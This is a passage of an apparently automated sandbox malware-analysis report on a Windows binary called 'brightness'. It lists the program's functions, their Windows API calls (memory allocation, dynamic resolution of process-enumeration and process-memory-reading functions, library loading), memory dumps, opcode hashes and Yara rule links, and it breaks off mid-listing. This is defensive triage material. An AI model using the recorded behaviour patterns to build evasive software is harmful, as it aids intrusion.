                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: FreeString
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 3341692771-0
                                                                                                                                                            • Opcode ID: 6fc0f88f0b4d12cbeda0546aa3c9b2a61d9b338520cfab902635a24ef7a42f2a
                                                                                                                                                            • Instruction ID: b03e69c5882025466abdee8b3d23e60f75a20912e9bd04f326fd0dcdb862c15a
                                                                                                                                                            • Opcode Fuzzy Hash: 6fc0f88f0b4d12cbeda0546aa3c9b2a61d9b338520cfab902635a24ef7a42f2a
                                                                                                                                                            • Instruction Fuzzy Hash: ABA022AC0003030AAF0B232C000002A20333FE0B023CAC0E88008CA0008F3EC000ACF0
                                                                                                                                                            Function 028315CC Relevance: 1.3, APIs: 1, Instructions: 38memoryCOMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • VirtualAlloc.KERNEL32(00000000,00140000,00001000,00000004,?,02831A03), ref: 028315E2
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: AllocVirtual
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 4275171209-0
                                                                                                                                                            • Opcode ID: 757aad050b1064b48ec3ffb949c423d6c60b4bb8d12220f76193fe4448917c0c
                                                                                                                                                            • Instruction ID: d0e962ba5ba1ab034e955da970df5e909211dc3479763dc96af6461aa38dcffc
                                                                                                                                                            • Opcode Fuzzy Hash: 757aad050b1064b48ec3ffb949c423d6c60b4bb8d12220f76193fe4448917c0c
                                                                                                                                                            • Instruction Fuzzy Hash: CCF037F8B413404BEB06EF7D9D443016AD2EB89344FA08579E709DB6D8E77184018B40
                                                                                                                                                            Function 02831682 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • VirtualAlloc.KERNEL32(00000000,?,00101000,00000004), ref: 028316A4
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: AllocVirtual
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 4275171209-0
                                                                                                                                                            • Opcode ID: fe3f1458e49eb9cba1da7c7d47fd85667bc3b366002071c6cd7908b9836f0478
                                                                                                                                                            • Instruction ID: d3c8e870b309ccaca05dab0584fe9bb644475fa796e61877e399880eb4856db2
                                                                                                                                                            • Opcode Fuzzy Hash: fe3f1458e49eb9cba1da7c7d47fd85667bc3b366002071c6cd7908b9836f0478
                                                                                                                                                            • Instruction Fuzzy Hash: 85F0F0BAB446967BD7118E4A9C88782BBA4FB40710F080139EA0CD7384D7B1A8108BD4
                                                                                                                                                            Function 028316E6 Relevance: 1.3, APIs: 1, Instructions: 25COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • VirtualFree.KERNEL32(?,00000000,00008000,?,?,00000000,02831FE4), ref: 02831704
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: FreeVirtual
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 1263568516-0
                                                                                                                                                            • Opcode ID: 8e37bbc273c8e106f38e8c04c59a84e340d840955f95363e4c0d39e49d883ea3
                                                                                                                                                            • Instruction ID: 7c38089a4a18ed5d31ab8f6eccf65e2d08a9a963bd354b6dae0ab30df65181cf
                                                                                                                                                            • Opcode Fuzzy Hash: 8e37bbc273c8e106f38e8c04c59a84e340d840955f95363e4c0d39e49d883ea3
                                                                                                                                                            • Instruction Fuzzy Hash: A9E0CD7D3003016FD7115B7D5D88712BBDCEB44A54F184875F50DDB285D760E8108BA0

                                                                                                                                                            Non-executed Functions

                                                                                                                                                            Function 0284A954 Relevance: 59.6, APIs: 17, Strings: 17, Instructions: 99libraryloaderCOMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • GetModuleHandleA.KERNEL32(kernel32.dll,00000002,0284ABDB,?,?,0284AC6D,00000000,0284AD49), ref: 0284A968
                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 0284A980
                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,Heap32ListFirst), ref: 0284A992
                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,Heap32ListNext), ref: 0284A9A4
                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,Heap32First), ref: 0284A9B6
                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,Heap32Next), ref: 0284A9C8
                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,Toolhelp32ReadProcessMemory), ref: 0284A9DA
                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,Process32First), ref: 0284A9EC
                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,Process32Next), ref: 0284A9FE
                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 0284AA10
                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 0284AA22
                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,Thread32First), ref: 0284AA34
                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,Thread32Next), ref: 0284AA46
                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,Module32First), ref: 0284AA58
                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,Module32Next), ref: 0284AA6A
                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,Module32FirstW), ref: 0284AA7C
                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,Module32NextW), ref: 0284AA8E
                                                                                                                                                            Strings
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: AddressProc$HandleModule
                                                                                                                                                            • String ID: CreateToolhelp32Snapshot$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Module32First$Module32FirstW$Module32Next$Module32NextW$Process32First$Process32FirstW$Process32Next$Process32NextW$Thread32First$Thread32Next$Toolhelp32ReadProcessMemory$kernel32.dll
                                                                                                                                                            • API String ID: 667068680-597814768
                                                                                                                                                            • Opcode ID: e9ca47494e3935ca2c4763dc7fc268cb433c8b9db14ddabbd40cc825e492b092
                                                                                                                                                            • Instruction ID: 034577f44f8f5f93fa7220730226bee43f3a9e586e606f961c2654cf8b209e2d
                                                                                                                                                            • Opcode Fuzzy Hash: e9ca47494e3935ca2c4763dc7fc268cb433c8b9db14ddabbd40cc825e492b092
                                                                                                                                                            • Instruction Fuzzy Hash: 5531A2BCAC1B24BFFB46DFBCD8B5A263799AB057407040965A401CF249FB7898108F96
                                                                                                                                                            Function 028358B4 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 139stringlibraryfileCOMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • GetModuleHandleA.KERNEL32(kernel32.dll,02836BC8,02830000,0285E790), ref: 028358D1
                                                                                                                                                            • GetProcAddress.KERNEL32(?,GetLongPathNameA), ref: 028358E8
                                                                                                                                                            • lstrcpynA.KERNEL32(?,?,?), ref: 02835918
                                                                                                                                                            • lstrcpynA.KERNEL32(?,?,?,kernel32.dll,02836BC8,02830000,0285E790), ref: 0283597C
                                                                                                                                                            • lstrcpynA.KERNEL32(?,?,00000001,?,?,?,kernel32.dll,02836BC8,02830000,0285E790), ref: 028359B2
                                                                                                                                                            • FindFirstFileA.KERNEL32(?,?,?,?,00000001,?,?,?,kernel32.dll,02836BC8,02830000,0285E790), ref: 028359C5
                                                                                                                                                            • FindClose.KERNEL32(?,?,?,?,?,00000001,?,?,?,kernel32.dll,02836BC8,02830000,0285E790), ref: 028359D7
                                                                                                                                                            • lstrlenA.KERNEL32(?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02836BC8,02830000,0285E790), ref: 028359E3
                                                                                                                                                            • lstrcpynA.KERNEL32(?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02836BC8,02830000), ref: 02835A17
                                                                                                                                                            • lstrlenA.KERNEL32(?,?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02836BC8), ref: 02835A23
                                                                                                                                                            • lstrcpynA.KERNEL32(?,?,?,?,?,?,00000104,?,?,?,?,?,?,00000001,?,?), ref: 02835A45
                                                                                                                                                            Strings
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: lstrcpyn$Findlstrlen$AddressCloseFileFirstHandleModuleProc
                                                                                                                                                            • String ID: GetLongPathNameA$\$kernel32.dll
                                                                                                                                                            • API String ID: 3245196872-1565342463
                                                                                                                                                            • Opcode ID: 20ad37e2dbd9a3ff8bb3c1239f3378d64f7da3c2bd0328ea6728ccfc9bc961a5
                                                                                                                                                            • Instruction ID: 5f0444033f0d6f84729ad0c1e8e34a4898fa5da764bb589bd3a6c8b594ade00d
                                                                                                                                                            • Opcode Fuzzy Hash: 20ad37e2dbd9a3ff8bb3c1239f3378d64f7da3c2bd0328ea6728ccfc9bc961a5
                                                                                                                                                            • Instruction Fuzzy Hash: 3C417F7DD00259AFDB12DAE8CC88ADEB3BEAF08310F4449A5E548E7241D7789B448F90
                                                                                                                                                            Function 02835B84 Relevance: 15.1, APIs: 10, Instructions: 98stringlibrarythreadCOMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 02835B94
                                                                                                                                                            • GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 02835BA1
                                                                                                                                                            • GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 02835BA7
                                                                                                                                                            • lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 02835BD2
                                                                                                                                                            • lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02835C19
                                                                                                                                                            • LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02835C29
                                                                                                                                                            • lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02835C51
                                                                                                                                                            • LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02835C61
                                                                                                                                                            • lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 02835C87
                                                                                                                                                            • LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 02835C97
                                                                                                                                                            Strings
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: lstrcpyn$LibraryLoad$Locale$InfoThreadlstrlen
                                                                                                                                                            • String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
                                                                                                                                                            • API String ID: 1599918012-2375825460
                                                                                                                                                            • Opcode ID: 872c564c5497cc255b6ddda9ad26ad67b225e16f2838cfcbc1086dd5fd5d1ed0
                                                                                                                                                            • Instruction ID: 5efa9141af3549a2ba4bd5d42b49473f5464057f95c0b49fe51c84800509317d
                                                                                                                                                            • Opcode Fuzzy Hash: 872c564c5497cc255b6ddda9ad26ad67b225e16f2838cfcbc1086dd5fd5d1ed0
                                                                                                                                                            • Instruction Fuzzy Hash: 1B31C77DE4021C6AFB27D6B89C49FDFB7AD5B04784F4405E19608E6080DB789E448FD1
                                                                                                                                                            Function 0285D367 Relevance: 2.4, Strings: 1, Instructions: 1187COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            Strings
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: ExitFreeLibraryProcess
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 1404682716-3916222277
                                                                                                                                                            • Opcode ID: d86a8d5901031c729a974c9791b2ec02ef4c7d2533c35cd45cd3e08fe7d6566e
                                                                                                                                                            • Instruction ID: d217e481be03d946acdd3f289ef4520006780076a529d6cb5b086da579aaf631
                                                                                                                                                            • Opcode Fuzzy Hash: d86a8d5901031c729a974c9791b2ec02ef4c7d2533c35cd45cd3e08fe7d6566e
                                                                                                                                                            • Instruction Fuzzy Hash: 90715D7A8093E18FCB138F78C899695BFB0BF17220B4D01DAC8958F1A7E7605566CB46
                                                                                                                                                            Function 02837F52 Relevance: 1.6, APIs: 1, Instructions: 50COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • GetDiskFreeSpaceA.KERNEL32(?,?,?,?,?), ref: 02837F75
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: DiskFreeSpace
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 1705453755-0
                                                                                                                                                            • Opcode ID: af95a7847bce4aac7ce6c5ec9bc2f4eb7d8060860abe66f176e19b8d00619888
                                                                                                                                                            • Instruction ID: b06386c511158317b7aabc4d07c5ed1d82510120be8c4906911168df02c606e4
                                                                                                                                                            • Opcode Fuzzy Hash: af95a7847bce4aac7ce6c5ec9bc2f4eb7d8060860abe66f176e19b8d00619888
                                                                                                                                                            • Instruction Fuzzy Hash: DC1100B5A00209AFDB05CF9DC8809AFF7F9FFCC304B14C569A508EB254E6319A01CB90
                                                                                                                                                            Function 0283A744 Relevance: 1.5, APIs: 1, Instructions: 29COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 0283A762
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: InfoLocale
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 2299586839-0
                                                                                                                                                            • Opcode ID: 91039f575b2d446255c84316eb4a3d27fa0998d30cefffcfb9a5ad718a7383d1
                                                                                                                                                            • Instruction ID: 297f85a4d7cf1f19c4701c5cefc84f56e1f07bc821cf3e3575b4ebb91ba9156b
                                                                                                                                                            • Opcode Fuzzy Hash: 91039f575b2d446255c84316eb4a3d27fa0998d30cefffcfb9a5ad718a7383d1
                                                                                                                                                            • Instruction Fuzzy Hash: 42E0D83EB0021827D316A56C9C819F6735D975C350F00427EBD49C7341FDA09D404EE9
                                                                                                                                                            Function 0283B70C Relevance: 1.5, APIs: 1, Instructions: 26COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • GetVersionExA.KERNEL32(?,0285D106,00000000,0285D11E), ref: 0283B71A
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: Version
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 1889659487-0
                                                                                                                                                            • Opcode ID: 894e6c3a0c67a22e887283c7d006a940379aec06db194338150348707d3ab506
                                                                                                                                                            • Instruction ID: 3aea0dfc9d191c39b0b57a027146e353195492ef7e03e99d2581bec89c0ebdd0
                                                                                                                                                            • Opcode Fuzzy Hash: 894e6c3a0c67a22e887283c7d006a940379aec06db194338150348707d3ab506
                                                                                                                                                            • Instruction Fuzzy Hash: 49F0B2BC9443219FD351DF28D941A167BE9FB48B14F408D69EA9DC7380E7389A24CF92
                                                                                                                                                            Function 0283A790 Relevance: 1.5, APIs: 1, Instructions: 23COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,0283BDF2,00000000,0283C00B,?,?,00000000,00000000), ref: 0283A7A3
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: InfoLocale
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 2299586839-0
                                                                                                                                                            • Opcode ID: 247628b8c1feb2e7e236466855a8f0c303f798d01677e0f323818b1e94eef0a4
                                                                                                                                                            • Instruction ID: 34f36e2bc67de603a562e1c7b1a69915cd48344d8db28b32d5adb6ce0a51096f
                                                                                                                                                            • Opcode Fuzzy Hash: 247628b8c1feb2e7e236466855a8f0c303f798d01677e0f323818b1e94eef0a4
                                                                                                                                                            • Instruction Fuzzy Hash: 84D05EAE30F2603AA229915E2D84D7B5AFCCAC57A1F00443EF5C8C6201E2048C0596F1
                                                                                                                                                            Function 0283918C Relevance: 1.5, APIs: 1, Instructions: 6timeCOMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: LocalTime
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 481472006-0
                                                                                                                                                            • Opcode ID: 826dc02cb97be1f30314bd8e5388bcaace96657751e1fb4d4dbee66b4f4147a3
                                                                                                                                                            • Instruction ID: 36279ed80754645ce8ca8595f2490d50e495cf1bcaff86714ca6c0c592f342b0
                                                                                                                                                            • Opcode Fuzzy Hash: 826dc02cb97be1f30314bd8e5388bcaace96657751e1fb4d4dbee66b4f4147a3
                                                                                                                                                            • Instruction Fuzzy Hash: EEA01108808C30228A803B2E0C0223A3088A800A20FC80F80A8F8802E2FE2E022080EB
                                                                                                                                                            Function 0285E59A Relevance: .2, Instructions: 216COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
